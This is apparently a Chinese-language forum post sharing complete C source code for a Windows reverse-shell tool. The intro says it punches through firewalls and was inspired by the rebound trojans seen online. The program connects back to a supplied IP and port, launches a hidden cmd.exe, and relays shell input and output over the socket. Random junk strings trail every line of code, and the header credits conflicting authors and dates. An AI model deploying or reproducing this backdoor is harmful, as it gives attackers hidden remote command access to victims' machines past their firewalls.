这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y!xF;a
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/* ============================== yHYsZ,GE
Rebound port in Windows NT /|w6:;$;mn
By wind,2006/7 e
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===============================*/ D'>_I.
#include ?9vuuIE
#include a9e>iU
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#pragma comment(lib,"wsock32.lib") W<{h,j8
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void OutputShell(); %jJG>T
SOCKET sClient; xh-o}8*n"
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Gf6p'(\zun
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void main(int argc,char **argv) + /G2fhE
{ m[osg< CR_
WSADATA stWsaData; qw301]y
int nRet; 1y&\5kB
SOCKADDR_IN stSaiClient,stSaiServer; _~m5^Q&
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if(argc != 3) *][`@@->
{ y8y5*e~A-)
printf("Useage:\n\rRebound DestIP DestPort\n"); zC:ASt
return; ^S<Y>Nm]
} 5&g@3j]
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WSAStartup(MAKEWORD(2,2),&stWsaData); },?kk1vIT{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?5__oT
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stSaiClient.sin_family = AF_INET; 8$cLG*=h4
stSaiClient.sin_port = htons(0); hF?1y `20
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _RYxD"my
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g9pZ\$J&
{ B4/>H|
printf("Bind Socket Failed!\n"); 0JS?; fk
return; S>+|OCl";
} G5_=H,Vmd
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stSaiServer.sin_family = AF_INET; ldcqe$7,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &AMl:@p9
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]EbM9Fo-U
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Jrf=@m\dk
{ Ty\R=y}}
printf("Connect Error!"); n8 0?N}
return; s+Pq&<nV-
} ja'T+!k
OutputShell(); uc{Ihw
} Q} JOU
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void OutputShell() hag$GX'2k
{ ,KZ~?3$yj
char szBuff[1024]; =?*!"&h
SECURITY_ATTRIBUTES stSecurityAttributes; c]<5zyl"j1
OSVERSIONINFO stOsversionInfo; Es`Px_k
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2qNt,;DQ
STARTUPINFO stStartupInfo; .LZ?S"z$w
char *szShell; nPtuTySG
PROCESS_INFORMATION stProcessInformation; s^TZXCyF o
unsigned long lBytesRead; ]cvwIc">
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Jr4Ky<G_i
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1~FOgk1;
stSecurityAttributes.lpSecurityDescriptor = 0; gg/-k;@ Rf
stSecurityAttributes.bInheritHandle = TRUE; uMv,zO5
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M0"_^?
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :,7hWs
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D)P ._?
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DfD&)tsMQ
stStartupInfo.wShowWindow = SW_HIDE; ]5cT cX;Z#
stStartupInfo.hStdInput = hReadPipe; Uc>lGo1j
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; MchA{p&Ol
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GetVersionEx(&stOsversionInfo); gVuFHHeUz
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switch(stOsversionInfo.dwPlatformId) =XQ%t
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{ ?j.,Nw4FC
case 1: ATyEf5Id_
szShell = "command.com"; IP pN@
break; o/)h"i0P
default: U/M>?G~
szShell = "cmd.exe"; . Efk*
break; >:!5*E5?
} y^*~B(T{
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0mVNQxHI
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send(sClient,szMsg,77,0); 6MW{,N
while(1) 3?yg\
{ i]4I [!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }<r)~{UV
if(lBytesRead) vr l-$ii
{ }.(B}/$u
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }X6m:#6
send(sClient,szBuff,lBytesRead,0); pv&sO~!iC
} ^
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else ;'K5J9k
{ ]6`%
lBytesRead=recv(sClient,szBuff,1024,0); J@'wf8Ub
if(lBytesRead<=0) break; aXYY:;
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3$R1ipb
} BU_nh+dF
} x9g#<2w8
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return; 2zb"MEOS5
}